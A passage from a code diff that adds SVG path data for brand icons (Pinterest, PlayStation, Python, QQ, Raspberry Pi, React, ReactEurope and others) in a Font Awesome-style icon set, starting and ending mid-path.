0-46.2-18-46.2-43.8 0-37.8 26.4-74.4 26.4-113.4 0-66.2-93.9-54.2-93.9 25.8 0 16.8 2.1 35.4 9.6 50.7-13.8 59.4-42 147.9-42 209.1 0 18.9 2.7 37.5 4.5 56.4 3.4 3.8 1.7 3.4 6.9 1.5 50.4-69 48.6-82.5 71.4-172.8 12.3 23.4 44.1 36 69.3 36 106.2 0 153.9-103.5 153.9-196.8C384 71.3 298.2 6.5 204 6.5z" ], + "pinterest-square": [ 448, 512, [], "f0d3", "M448 80v352c0 26.5-21.5 48-48 48H154.4c9.8-16.4 22.4-40 27.4-59.3 3-11.5 15.3-58.4 15.3-58.4 8 15.3 31.4 28.2 56.3 28.2 74.1 0 127.4-68.1 127.4-152.7 0-81.1-66.2-141.8-151.4-141.8-106 0-162.2 71.1-162.2 148.6 0 36 19.2 80.8 49.8 95.1 4.7 2.2 7.1 1.2 8.2-3.3.8-3.4 5-20.1 6.8-27.8.6-2.5.3-4.6-1.7-7-10.1-12.3-18.3-34.9-18.3-56 0-54.2 41-106.6 110.9-106.6 60.3 0 102.6 41.1 102.6 99.9 0 66.4-33.5 112.4-77.2 112.4-24.1 0-42.1-19.9-36.4-44.4 6.9-29.2 20.3-60.7 20.3-81.8 0-53-75.5-45.7-75.5 25 0 21.7 7.3 36.5 7.3 36.5-31.4 132.8-36.1 134.5-29.6 192.6l2.2.8H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48z" ], + playstation: [ 576, 512, [], "f3df", "M570.9 372.3c-11.3 14.2-38.8 24.3-38.8 24.3L327 470.2v-54.3l150.9-53.8c17.1-6.1 19.8-14.8 5.8-19.4-13.9-4.6-39.1-3.3-56.2 2.9L327 381.1v-56.4c23.2-7.8 47.1-13.6 75.7-16.8 40.9-4.5 90.9.6 130.2 15.5 44.2 14 49.2 34.7 38 48.9zm-224.4-92.5v-139c0-16.3-3-31.3-18.3-35.6-11.7-3.8-19 7.1-19 23.4v347.9l-93.8-29.8V32c39.9 7.4 98 24.9 129.2 35.4C424.1 94.7 451 128.7 451 205.2c0 74.5-46 102.8-104.5 74.6zM43.2 410.2c-45.4-12.8-53-39.5-32.3-54.8 19.1-14.2 51.7-24.9 51.7-24.9l134.5-47.8v54.5l-96.8 34.6c-17.1 6.1-19.7 14.8-5.8 19.4 13.9 4.6 39.1 3.3 56.2-2.9l46.4-16.9v48.8c-51.6 9.3-101.4 7.3-153.9-10z" ], + "product-hunt": [ 512, 512, [], "f288", "M326.3 218.8c0 20.5-16.7 37.2-37.2 37.2h-70.3v-74.4h70.3c20.5 0 37.2 16.7 37.2 37.2zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-128.1-37.2c0-47.9-38.9-86.8-86.8-86.8H169.2v248h49.6v-74.4h70.3c47.9 0 86.8-38.9 86.8-86.8z" ], + pushed: [ 432, 512, [], "f3e1", "M407 111.9l-98.5-9 14-33.4c10.4-23.5-10.8-40.4-28.7-37L22.5 76.9c-15.1 2.7-26 18.3-21.4 36.6l105.1 348.3c6.5 21.3 36.7 24.2 47.7 7l35.3-80.8 235.2-231.3c16.4-16.8 4.3-42.9-17.4-44.8zM297.6 53.6c5.1-.7 7.5 2.5 5.2 7.4L286 100.9 108.6 84.6l189-31zM22.7 107.9c-3.1-5.1 1-10 6.1-9.1l248.7 22.7-96.9 230.7L22.7 107.9zM136 456.4c-2.6 4-7.9 3.1-9.4-1.2L43.5 179.7l127.7 197.6c-7 15-35.2 79.1-35.2 79.1zm272.8-314.5L210.1 337.3l89.7-213.7 106.4 9.7c4 1.1 5.7 5.3 2.6 8.6z" ], + python: [ 448, 512, [], "f3e2", "M439.8 200.5c-7.7-30.9-22.3-54.2-53.4-54.2h-40.1v47.4c0 36.8-31.2 67.8-66.8 67.8H172.7c-29.2 0-53.4 25-53.4 54.3v101.8c0 29 25.2 46 53.4 54.3 33.8 9.9 66.3 11.7 106.8 0 26.9-7.8 53.4-23.5 53.4-54.3v-40.7H226.2v-13.6h160.2c31.1 0 42.6-21.7 53.4-54.2 11.2-33.5 10.7-65.7 0-108.6zM286.2 404c11.1 0 20.1 9.1 20.1 20.3 0 11.3-9 20.4-20.1 20.4-11 0-20.1-9.2-20.1-20.4.1-11.3 9.1-20.3 20.1-20.3zM167.8 248.1h106.8c29.7 0 53.4-24.5 53.4-54.3V91.9c0-29-24.4-50.7-53.4-55.6-35.8-5.9-74.7-5.6-106.8.1-45.2 8-53.4 24.7-53.4 55.6v40.7h106.9v13.6h-147c-31.1 0-58.3 18.7-66.8 54.2-9.8 40.7-10.2 66.1 0 108.6 7.6 31.6 25.7 54.2 56.8 54.2H101v-48.8c0-35.3 30.5-66.4 66.8-66.4zm-6.7-142.6c-11.1 0-20.1-9.1-20.1-20.3.1-11.3 9-20.4 20.1-20.4 11 0 20.1 9.2 20.1 20.4s-9 20.3-20.1 20.3z" ], + qq: [ 448, 512, [], "f1d6", "M433.754 420.445c-11.526 1.393-44.86-52.741-44.86-52.741 0 31.345-16.136 72.247-51.051 101.786 16.842 5.192 54.843 19.167 45.803 34.421-7.316 12.343-125.51 7.881-159.632 4.037-34.122 3.844-152.316 8.306-159.632-4.037-9.045-15.25 28.918-29.214 45.783-34.415-34.92-29.539-51.059-70.445-51.059-101.792 0 0-33.334 54.134-44.859 52.741-5.37-.65-12.424-29.644 9.347-99.704 10.261-33.024 21.995-60.478 40.144-105.779C60.683 98.063 108.982.006 224 0c113.737.006 163.156 96.133 160.264 214.963 18.118 45.223 29.912 72.85 40.144 105.778 21.768 70.06 14.716 99.053 9.346 99.704z" ], + quinscape: [ 512, 512, [], "f459", "M313.6 474.6h-1a158.1 158.1 0 0 1 0-316.2c94.9 0 168.2 83.1 157 176.6 4 5.1 8.2 9.6 11.2 15.3 13.4-30.3 20.3-62.4 20.3-97.7C501.1 117.5 391.6 8 256.5 8S12 117.5 12 252.6s109.5 244.6 244.5 244.6a237.36 237.36 0 0 0 70.4-10.1c-5.2-3.5-8.9-8.1-13.3-12.5zm-.1-.1l.4.1zm78.4-168.9a99.2 99.2 0 1 0 99.2 99.2 99.18 99.18 0 0 0-99.2-99.2z" ], + quora: [ 448, 512, [], "f2c4", "M440.5 386.7h-29.3c-1.5 13.5-10.5 30.8-33 30.8-20.5 0-35.3-14.2-49.5-35.8 44.2-34.2 74.7-87.5 74.7-153C403.5 111.2 306.8 32 205 32 105.3 32 7.3 111.7 7.3 228.7c0 134.1 131.3 221.6 249 189C276 451.3 302 480 351.5 480c81.8 0 90.8-75.3 89-93.3zM297 329.2C277.5 300 253.3 277 205.5 277c-30.5 0-54.3 10-69 22.8l12.2 24.3c6.2-3 13-4 19.8-4 35.5 0 53.7 30.8 69.2 61.3-10 3-20.7 4.2-32.7 4.2-75 0-107.5-53-107.5-156.7C97.5 124.5 130 71 205 71c76.2 0 108.7 53.5 108.7 157.7.1 41.8-5.4 75.6-16.7 100.5z" ], + "r-project": [ 581, 512, [], "f4f7", "M581 226.6C581 119.1 450.9 32 290.5 32S0 119.1 0 226.6C0 322.4 103.3 402 239.4 418.1V480h99.1v-61.5c24.3-2.7 47.6-7.4 69.4-13.9L448 480h112l-67.4-113.7c54.5-35.4 88.4-84.9 88.4-139.7zm-466.8 14.5c0-73.5 98.9-133 220.8-133s211.9 40.7 211.9 133c0 50.1-26.5 85-70.3 106.4-2.4-1.6-4.7-2.9-6.4-3.7-10.2-5.2-27.8-10.5-27.8-10.5s86.6-6.4 86.6-92.7-90.6-87.9-90.6-87.9h-199V361c-74.1-21.5-125.2-67.1-125.2-119.9zm225.1 38.3v-55.6c57.8 0 87.8-6.8 87.8 27.3 0 36.5-38.2 28.3-87.8 28.3zm-.9 72.5H365c10.8 0 18.9 11.7 24 19.2-16.1 1.9-33 2.8-50.6 2.9v-22.1z" ], + "raspberry-pi": [ 407, 512, [], "f7bb", "M372 232.5l-3.7-6.5c.1-46.4-21.4-65.3-46.5-79.7 7.6-2 15.4-3.6 17.6-13.2 13.1-3.3 15.8-9.4 17.1-15.8 3.4-2.3 14.8-8.7 13.6-19.7 6.4-4.4 10-10.1 8.1-18.1 6.9-7.5 8.7-13.7 5.8-19.4 8.3-10.3 4.6-15.6 1.1-20.9 6.2-11.2.7-23.2-16.6-21.2-6.9-10.1-21.9-7.8-24.2-7.8-2.6-3.2-6-6-16.5-4.7-6.8-6.1-14.4-5-22.3-2.1-9.3-7.3-15.5-1.4-22.6.8C271.6.6 269 5.5 263.5 7.6c-12.3-2.6-16.1 3-22 8.9l-6.9-.1c-18.6 10.8-27.8 32.8-31.1 44.1-3.3-11.3-12.5-33.3-31.1-44.1l-6.9.1c-5.9-5.9-9.7-11.5-22-8.9-5.6-2-8.1-7-19.4-3.4-4.6-1.4-8.9-4.4-13.9-4.3-2.6.1-5.5 1-8.7 3.5-7.9-3-15.5-4-22.3 2.1-10.5-1.3-14 1.4-16.5 4.7-2.3 0-17.3-2.3-24.2 7.8C21.2 16 15.8 28 22 39.2c-3.5 5.4-7.2 10.7 1.1 20.9-2.9 5.7-1.1 11.9 5.8 19.4-1.8 8 1.8 13.7 8.1 18.1-1.2 11 10.2 17.4 13.6 19.7 1.3 6.4 4 12.4 17.1 15.8 2.2 9.5 10 11.2 17.6 13.2-25.1 14.4-46.6 33.3-46.5 79.7l-3.7 6.5c-28.8 17.2-54.7 72.7-14.2 117.7 2.6 14.1 7.1 24.2 11 35.4 5.9 45.2 44.5 66.3 54.6 68.8 14.9 11.2 30.8 21.8 52.2 29.2C159 504.2 181 512 203 512h1c22.1 0 44-7.8 64.2-28.4 21.5-7.4 37.3-18 52.2-29.2 10.2-2.5 48.7-23.6 54.6-68.8 3.9-11.2 8.4-21.3 11-35.4 40.6-45.1 14.7-100.5-14-117.7zm-22.2-8c-1.5 18.7-98.9-65.1-82.1-67.9 45.7-7.5 83.6 19.2 82.1 67.9zm-43 93.1c-24.5 15.8-59.8 5.6-78.8-22.8s-14.6-64.2 9.9-80c24.5-15.8 59.8-5.6 78.8 22.8s14.6 64.2-9.9 80zM238.9 29.3c.8 4.2 1.8 6.8 2.9 7.6 5.4-5.8 9.8-11.7 16.8-17.3 0 3.3-1.7 6.8 2.5 9.4 3.7-5 8.8-9.5 15.5-13.3-3.2 5.6-.6 7.3 1.2 9.6 5.1-4.4 10-8.8 19.4-12.3-2.6 3.1-6.2 6.2-2.4 9.8 5.3-3.3 10.6-6.6 23.1-8.9-2.8 3.1-8.7 6.3-5.1 9.4 6.6-2.5 14-4.4 22.1-5.4-3.9 3.2-7.1 6.3-3.9 8.8 7.1-2.2 16.9-5.1 26.4-2.6l-6 6.1c-.7.8 14.1.6 23.9.8-3.6 5-7.2 9.7-9.3 18.2 1 1 5.8.4 10.4 0-4.7 9.9-12.8 12.3-14.7 16.6 2.9 2.2 6.8 1.6 11.2.1-3.4 6.9-10.4 11.7-16 17.3 1.4 1 3.9 1.6 9.7.9-5.2 5.5-11.4 10.5-18.8 15 1.3 1.5 5.8 1.5 10 1.6-6.7 6.5-15.3 9.9-23.4 14.2 4 2.7 6.9 2.1 10 2.1-5.7 4.7-15.4 7.1-24.4 10 1.7 2.7 3.4 3.4 7.1 4.1-9.5 5.3-23.2 2.9-27 5.6.9 2.7 3.6 4.4 6.7 5.8-15.4.9-57.3-.6-65.4-32.3 15.7-17.3 44.4-37.5 93.7-62.6-38.4 12.8-73 30-102 53.5-34.3-15.9-10.8-55.9 5.8-71.8zm-34.4 114.6c24.2-.3 54.1 17.8 54 34.7-.1 15-21 27.1-53.8 26.9-32.1-.4-53.7-15.2-53.6-29.8 0-11.9 26.2-32.5 53.4-31.8zm-123-12.8c3.7-.7 5.4-1.5 7.1-4.1-9-2.8-18.7-5.3-24.4-10 3.1 0 6 .7 10-2.1-8.1-4.3-16.7-7.7-23.4-14.2 4.2-.1 8.7 0 10-1.6-7.4-4.5-13.6-9.5-18.8-15 5.8.7 8.3.1 9.7-.9-5.6-5.6-12.7-10.4-16-17.3 4.3 1.5 8.3 2 11.2-.1-1.9-4.2-10-6.7-14.7-16.6 4.6.4 9.4 1 10.4 0-2.1-8.5-5.8-13.3-9.3-18.2 9.8-.1 24.6 0 23.9-.8l-6-6.1c9.5-2.5 19.3.4 26.4 2.6 3.2-2.5-.1-5.6-3.9-8.8 8.1 1.1 15.4 2.9 22.1 5.4 3.5-3.1-2.3-6.3-5.1-9.4 12.5 2.3 17.8 5.6 23.1 8.9 3.8-3.6.2-6.7-2.4-9.8 9.4 3.4 14.3 7.9 19.4 12.3 1.7-2.3 4.4-4 1.2-9.6 6.7 3.8 11.8 8.3 15.5 13.3 4.1-2.6 2.5-6.2 2.5-9.4 7 5.6 11.4 11.5 16.8 17.3 1.1-.8 2-3.4 2.9-7.6 16.6 15.9 40.1 55.9 6 71.8-29-23.5-63.6-40.7-102-53.5 49.3 25 78 45.3 93.7 62.6-8 31.8-50 33.2-65.4 32.3 3.1-1.4 5.8-3.2 6.7-5.8-4-2.8-17.6-.4-27.2-5.6zm60.1 24.1c16.8 2.8-80.6 86.5-82.1 67.9-1.5-48.7 36.5-75.5 82.1-67.9zM38.2 342c-23.7-18.8-31.3-73.7 12.6-98.3 26.5-7 9 107.8-12.6 98.3zm91 98.2c-13.3 7.9-45.8 4.7-68.8-27.9-15.5-27.4-13.5-55.2-2.6-63.4 16.3-9.8 41.5 3.4 60.9 25.6 16.9 20 24.6 55.3 10.5 65.7zm-26.4-119.7c-24.5-15.8-28.9-51.6-9.9-80s54.3-38.6 78.8-22.8 28.9 51.6 9.9 80c-19.1 28.4-54.4 38.6-78.8 22.8zM205 496c-29.4 1.2-58.2-23.7-57.8-32.3-.4-12.7 35.8-22.6 59.3-22 23.7-1 55.6 7.5 55.7 18.9.5 11-28.8 35.9-57.2 35.4zm58.9-124.9c.2 29.7-26.2 53.8-58.8 54-32.6.2-59.2-23.8-59.4-53.4v-.6c-.2-29.7 26.2-53.8 58.8-54 32.6-.2 59.2 23.8 59.4 53.4v.6zm82.2 42.7c-25.3 34.6-59.6 35.9-72.3 26.3-13.3-12.4-3.2-50.9 15.1-72 20.9-23.3 43.3-38.5 58.9-26.6 10.5 10.3 16.7 49.1-1.7 72.3zm22.9-73.2c-21.5 9.4-39-105.3-12.6-98.3 43.9 24.7 36.3 79.6 12.6 98.3z" ], + ravelry: [ 512, 512, [], "f2d9", "M498.252,234.223c-1.208-10.34-1.7-20.826-3.746-31a310.306,310.306,0,0,0-9.622-36.6,184.068,184.068,0,0,0-30.874-57.5,251.154,251.154,0,0,0-18.818-21.689,237.362,237.362,0,0,0-47.113-36.116A240.8,240.8,0,0,0,331.356,26.65c-11.018-3.1-22.272-5.431-33.515-7.615-6.78-1.314-13.749-1.667-20.627-2.482-.316-.036-.6-.358-.9-.553q-16.143.009-32.288.006c-2.41.389-4.808.925-7.236,1.15a179.331,179.331,0,0,0-34.256,7.1,221.5,221.5,0,0,0-39.768,16.355,281.385,281.385,0,0,0-38.08,24.158c-6.167,4.61-12.268,9.36-17.974,14.518C96.539,88.494,86.34,97.72,76.785,107.555a243.878,243.878,0,0,0-33.648,43.95,206.488,206.488,0,0,0-20.494,44.6,198.2,198.2,0,0,0-7.691,34.759A201.13,201.13,0,0,0,13.4,266.385a299.716,299.716,0,0,0,4.425,40.24,226.865,226.865,0,0,0,16.73,53.3,210.543,210.543,0,0,0,24,39.528,213.589,213.589,0,0,0,26.358,28.416A251.313,251.313,0,0,0,126.7,458.455a287.831,287.831,0,0,0,55.9,25.277,269.5,269.5,0,0,0,40.641,9.835c6.071,1.01,12.275,1.253,18.412,1.873a4.149,4.149,0,0,1,1.19.56h32.289c2.507-.389,5-.937,7.527-1.143,16.336-1.332,32.107-5.335,47.489-10.717A219.992,219.992,0,0,0,379.1,460.322c9.749-6.447,19.395-13.077,28.737-20.1,5.785-4.348,10.988-9.5,16.3-14.457,3.964-3.7,7.764-7.578,11.51-11.5a232.162,232.162,0,0,0,31.427-41.639c9.542-16.045,17.355-32.905,22.3-50.926,2.859-10.413,4.947-21.045,7.017-31.652,1.032-5.279,1.251-10.723,1.87-16.087.036-.317.358-.6.552-.9V236.005A9.757,9.757,0,0,1,498.252,234.223Zm-161.117-1.15s-16.572-2.98-28.47-2.98c-27.2,0-33.57,14.9-33.57,37.04V360.8H201.582V170.062H275.1v31.931c8.924-26.822,26.771-36.189,62.04-36.189Z" ], + react: [ 512, 512, [], "f41b", "M418.2 177.2c-5.4-1.8-10.8-3.5-16.2-5.1.9-3.7 1.7-7.4 2.5-11.1 12.3-59.6 4.2-107.5-23.1-123.3-26.3-15.1-69.2.6-112.6 38.4-4.3 3.7-8.5 7.6-12.5 11.5-2.7-2.6-5.5-5.2-8.3-7.7-45.5-40.4-91.1-57.4-118.4-41.5-26.2 15.2-34 60.3-23 116.7 1.1 5.6 2.3 11.1 3.7 16.7-6.4 1.8-12.7 3.8-18.6 5.9C38.3 196.2 0 225.4 0 255.6c0 31.2 40.8 62.5 96.3 81.5 4.5 1.5 9 3 13.6 4.3-1.5 6-2.8 11.9-4 18-10.5 55.5-2.3 99.5 23.9 114.6 27 15.6 72.4-.4 116.6-39.1 3.5-3.1 7-6.3 10.5-9.7 4.4 4.3 9 8.4 13.6 12.4 42.8 36.8 85.1 51.7 111.2 36.6 27-15.6 35.8-62.9 24.4-120.5-.9-4.4-1.9-8.9-3-13.5 3.2-.9 6.3-1.9 9.4-2.9 57.7-19.1 99.5-50 99.5-81.7 0-30.3-39.4-59.7-93.8-78.4zM282.9 92.3c37.2-32.4 71.9-45.1 87.7-36 16.9 9.7 23.4 48.9 12.8 100.4-.7 3.4-1.4 6.7-2.3 10-22.2-5-44.7-8.6-67.3-10.6-13-18.6-27.2-36.4-42.6-53.1 3.9-3.7 7.7-7.2 11.7-10.7zM167.2 307.5c5.1 8.7 10.3 17.4 15.8 25.9-15.6-1.7-31.1-4.2-46.4-7.5 4.4-14.4 9.9-29.3 16.3-44.5 4.6 8.8 9.3 17.5 14.3 26.1zm-30.3-120.3c14.4-3.2 29.7-5.8 45.6-7.8-5.3 8.3-10.5 16.8-15.4 25.4-4.9 8.5-9.7 17.2-14.2 26-6.3-14.9-11.6-29.5-16-43.6zm27.4 68.9c6.6-13.8 13.8-27.3 21.4-40.6s15.8-26.2 24.4-38.9c15-1.1 30.3-1.7 45.9-1.7s31 .6 45.9 1.7c8.5 12.6 16.6 25.5 24.3 38.7s14.9 26.7 21.7 40.4c-6.7 13.8-13.9 27.4-21.6 40.8-7.6 13.3-15.7 26.2-24.2 39-14.9 1.1-30.4 1.6-46.1 1.6s-30.9-.5-45.6-1.4c-8.7-12.7-16.9-25.7-24.6-39s-14.8-26.8-21.5-40.6zm180.6 51.2c5.1-8.8 9.9-17.7 14.6-26.7 6.4 14.5 12 29.2 16.9 44.3-15.5 3.5-31.2 6.2-47 8 5.4-8.4 10.5-17 15.5-25.6zm14.4-76.5c-4.7-8.8-9.5-17.6-14.5-26.2-4.9-8.5-10-16.9-15.3-25.2 16.1 2 31.5 4.7 45.9 8-4.6 14.8-10 29.2-16.1 43.4zM256.2 118.3c10.5 11.4 20.4 23.4 29.6 35.8-19.8-.9-39.7-.9-59.5 0 9.8-12.9 19.9-24.9 29.9-35.8zM140.2 57c16.8-9.8 54.1 4.2 93.4 39 2.5 2.2 5 4.6 7.6 7-15.5 16.7-29.8 34.5-42.9 53.1-22.6 2-45 5.5-67.2 10.4-1.3-5.1-2.4-10.3-3.5-15.5-9.4-48.4-3.2-84.9 12.6-94zm-24.5 263.6c-4.2-1.2-8.3-2.5-12.4-3.9-21.3-6.7-45.5-17.3-63-31.2-10.1-7-16.9-17.8-18.8-29.9 0-18.3 31.6-41.7 77.2-57.6 5.7-2 11.5-3.8 17.3-5.5 6.8 21.7 15 43 24.5 63.6-9.6 20.9-17.9 42.5-24.8 64.5zm116.6 98c-16.5 15.1-35.6 27.1-56.4 35.3-11.1 5.3-23.9 5.8-35.3 1.3-15.9-9.2-22.5-44.5-13.5-92 1.1-5.6 2.3-11.2 3.7-16.7 22.4 4.8 45 8.1 67.9 9.8 13.2 18.7 27.7 36.6 43.2 53.4-3.2 3.1-6.4 6.1-9.6 8.9zm24.5-24.3c-10.2-11-20.4-23.2-30.3-36.3 9.6.4 19.5.6 29.5.6 10.3 0 20.4-.2 30.4-.7-9.2 12.7-19.1 24.8-29.6 36.4zm130.7 30c-.9 12.2-6.9 23.6-16.5 31.3-15.9 9.2-49.8-2.8-86.4-34.2-4.2-3.6-8.4-7.5-12.7-11.5 15.3-16.9 29.4-34.8 42.2-53.6 22.9-1.9 45.7-5.4 68.2-10.5 1 4.1 1.9 8.2 2.7 12.2 4.9 21.6 5.7 44.1 2.5 66.3zm18.2-107.5c-2.8.9-5.6 1.8-8.5 2.6-7-21.8-15.6-43.1-25.5-63.8 9.6-20.4 17.7-41.4 24.5-62.9 5.2 1.5 10.2 3.1 15 4.7 46.6 16 79.3 39.8 79.3 58 0 19.6-34.9 44.9-84.8 61.4zm-149.7-15c25.3 0 45.8-20.5 45.8-45.8s-20.5-45.8-45.8-45.8c-25.3 0-45.8 20.5-45.8 45.8s20.5 45.8 45.8 45.8z" ], + reacteurope: [ 576, 512, [], "f75d", "M250.6 211.74l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm63.7 0l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.2-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm-91.3 50.5h-3.4c-4.8 0-3.8 4-3.8 12.1 0 4.7-2.3 6.1-5.8 6.1s-5.8-1.4-5.8-6.1v-36.6c0-4.7 2.3-6.1 5.8-6.1s5.8 1.4 5.8 6.1c0 7.2-.7 10.5 3.8 10.5h3.4c4.7-.1 3.8-3.9 3.8-12.3 0-9.9-6.7-14.1-16.8-14.1h-.2c-10.1 0-16.8 4.2-16.8 14.1V276c0 10.4 6.7 14.1 16.8 14.1h.2c10.1 0 16.8-3.8 16.8-14.1 0-9.86 1.1-13.76-3.8-13.76zm-80.7 17.4h-14.7v-19.3H139c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-11.4v-18.3H142c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-21.7c-2.4-.1-3.7 1.3-3.7 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h21.9c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8zm-42-18.5c4.6-2 7.3-6 7.3-12.4v-11.9c0-10.1-6.7-14.1-16.8-14.1H77.4c-2.5 0-3.8 1.3-3.8 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5 0 3.8-1.3 3.8-3.8v-22.9h5.6l7.4 23.5a4.1 4.1 0 0 0 4.3 3.2h3.3c2.8 0 4-1.8 3.2-4.4zm-3.8-14c0 4.8-2.5 6.1-6.1 6.1h-5.8v-20.9h5.8c3.6 0 6.1 1.3 6.1 6.1zM176 226a3.82 3.82 0 0 0-4.2-3.4h-6.9a3.68 3.68 0 0 0-4 3.4l-11 59.2c-.5 2.7.9 4.1 3.4 4.1h3a3.74 3.74 0 0 0 4.1-3.5l1.8-11.3h12.2l1.8 11.3a3.74 3.74 0 0 0 4.1 3.5h3.5c2.6 0 3.9-1.4 3.4-4.1zm-12.3 39.3l4.7-29.7 4.7 29.7zm89.3 20.2v-53.2h7.5c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-25.8c-2.5 0-3.8 1.3-3.8 3.8v2.1c0 2.5 1.3 3.8 3.8 3.8h7.3v53.2c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5.04 3.8-1.3 3.8-3.76zm248-.8h-19.4V258h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9H501a1.81 1.81 0 0 0 2-1.9v-.8a1.84 1.84 0 0 0-2-1.96zm-93.1-62.9h-.8c-10.1 0-15.3 4.7-15.3 14.1V276c0 9.3 5.2 14.1 15.3 14.1h.8c10.1 0 15.3-4.8 15.3-14.1v-40.1c0-9.36-5.2-14.06-15.3-14.06zm10.2 52.4c-.1 8-3 11.1-10.5 11.1s-10.5-3.1-10.5-11.1v-36.6c0-7.9 3-11.1 10.5-11.1s10.5 3.2 10.5 11.1zm-46.5-14.5c6.1-1.6 9.2-6.1 9.2-13.3v-9.7c0-9.4-5.2-14.1-15.3-14.1h-13.7a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.9h11.6l10.4 27.2a2.32 2.32 0 0 0 2.3 1.5h1.5c1.4 0 2-1 1.5-2.3zm-6.4-3.9H355v-28.5h10.2c7.5 0 10.5 3.1 10.5 11.1v6.4c0 7.84-3 11.04-10.5 11.04zm85.9-33.1h-13.7a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.1h10.6c10.1 0 15.3-4.8 15.3-14.1v-10.5c0-9.4-5.2-14.1-15.3-14.1zm10.2 22.8c0 7.9-3 11.1-10.5 11.1h-10.2v-29.2h10.2c7.5-.1 10.5 3.1 10.5 11zM259.5 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm227.6-136.1a364.42 364.42 0 0 0-35.6-11.3c19.6-78 11.6-134.7-22.3-153.9C394.7-12.66 343.3 11 291 61.94q5.1 4.95 10.2 10.2c82.5-80 119.6-53.5 120.9-52.8 22.4 12.7 36 55.8 15.5 137.8a587.83 587.83 0 0 0-84.6-13C281.1 43.64 212.4 2 170.8 2 140 2 127 23 123.2 29.74c-18.1 32-13.3 84.2.1 133.8-70.5 20.3-120.7 54.1-120.3 95 .5 59.6 103.2 87.8 122.1 92.8-20.5 81.9-10.1 135.6 22.3 153.9 28 15.8 75.1 6 138.2-55.2q-5.1-4.95-10.2-10.2c-82.5 80-119.7 53.5-120.9 52.8-22.3-12.6-36-55.6-15.5-137.9 12.4 2.9 41.8 9.5 84.6 13 71.9 100.4 140.6 142 182.1 142 30.8 0 43.8-21 47.6-27.7 18-31.9 13.3-84.1-.1-133.8 152.3-43.8 156.2-130.2 33.9-176.3zM135.9 36.84c2.9-5.1 11.9-20.3 34.9-20.3 36.8 0 98.8 39.6 163.3 126.2a714 714 0 0 0-93.9.9 547.76 547.76 0 0 1 42.2-52.4Q277.3 86 272.2 81a598.25 598.25 0 0 0-50.7 64.2 569.69 569.69 0 0 0-84.4 14.6c-.2-1.4-24.3-82.2-1.2-123zm304.8 438.3c-2.9 5.1-11.8 20.3-34.9 20.3-36.7 0-98.7-39.4-163.3-126.2a695.38 695.38 0 0 0 93.9-.9 547.76 547.76 0 0 1-42.2 52.4q5.1 5.25 10.2 10.2a588.47 588.47 0 0 0 50.7-64.2c47.3-4.7 80.3-13.5 84.4-14.6 22.7 84.4 4.5 117 1.2 123zm9.1-138.6c-3.6-11.9-7.7-24.1-12.4-36.4a12.67 12.67 0 0 1-10.7-5.7l-.1.1a19.61 19.61 0 0 1-5.4 3.6c5.7 14.3 10.6 28.4 14.7 42.2a535.3 535.3 0 0 1-72 13c3.5-5.3 17.2-26.2 32.2-54.2a24.6 24.6 0 0 1-6-3.2c-1.1 1.2-3.6 4.2-10.9 4.2-6.2 11.2-17.4 30.9-33.9 55.2a711.91 711.91 0 0 1-112.4 1c-7.9-11.2-21.5-31.1-36.8-57.8a21 21 0 0 1-3-1.5c-1.9 1.6-3.9 3.2-12.6 3.2 6.3 11.2 17.5 30.7 33.8 54.6a548.81 548.81 0 0 1-72.2-11.7q5.85-21 14.1-42.9c-3.2 0-5.4.2-8.4-1a17.58 17.58 0 0 1-6.9 1c-4.9 13.4-9.1 26.5-12.7 39.4C-31.7 297-12.1 216 126.7 175.64c3.6 11.9 7.7 24.1 12.4 36.4 10.4 0 12.9 3.4 14.4 5.3a12 12 0 0 1 2.3-2.2c-5.8-14.7-10.9-29.2-15.2-43.3 7-1.8 32.4-8.4 72-13-15.9 24.3-26.7 43.9-32.8 55.3a14.22 14.22 0 0 1 6.4 8 23.42 23.42 0 0 1 10.2-8.4c6.5-11.7 17.9-31.9 34.8-56.9a711.72 711.72 0 0 1 112.4-1c31.5 44.6 28.9 48.1 42.5 64.5a21.42 21.42 0 0 1 10.4-7.4c-6.4-11.4-17.6-31-34.3-55.5 40.4 4.1 65 10 72.2 11.7-4 14.4-8.9 29.2-14.6 44.2a20.74 20.74 0 0 1 6.8 4.3l.1.1a12.72 12.72 0 0 1 8.9-5.6c4.9-13.4 9.2-26.6 12.8-39.5a359.71 359.71 0 0 1 34.5 11c106.1 39.9 74 87.9 72.6 90.4-19.8 35.1-80.1 55.2-105.7 62.5zm-114.4-114h-1.2a1.74 1.74 0 0 0-1.9 1.9v49.8c0 7.9-2.6 11.1-10.1 11.1s-10.1-3.1-10.1-11.1v-49.8a1.69 1.69 0 0 0-1.9-1.9H309a1.81 1.81 0 0 0-2 1.9v51.5c0 9.6 5 14.1 15.1 14.1h.4c10.1 0 15.1-4.6 15.1-14.1v-51.5a2 2 0 0 0-2.2-1.9zM321.7 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm-31.1 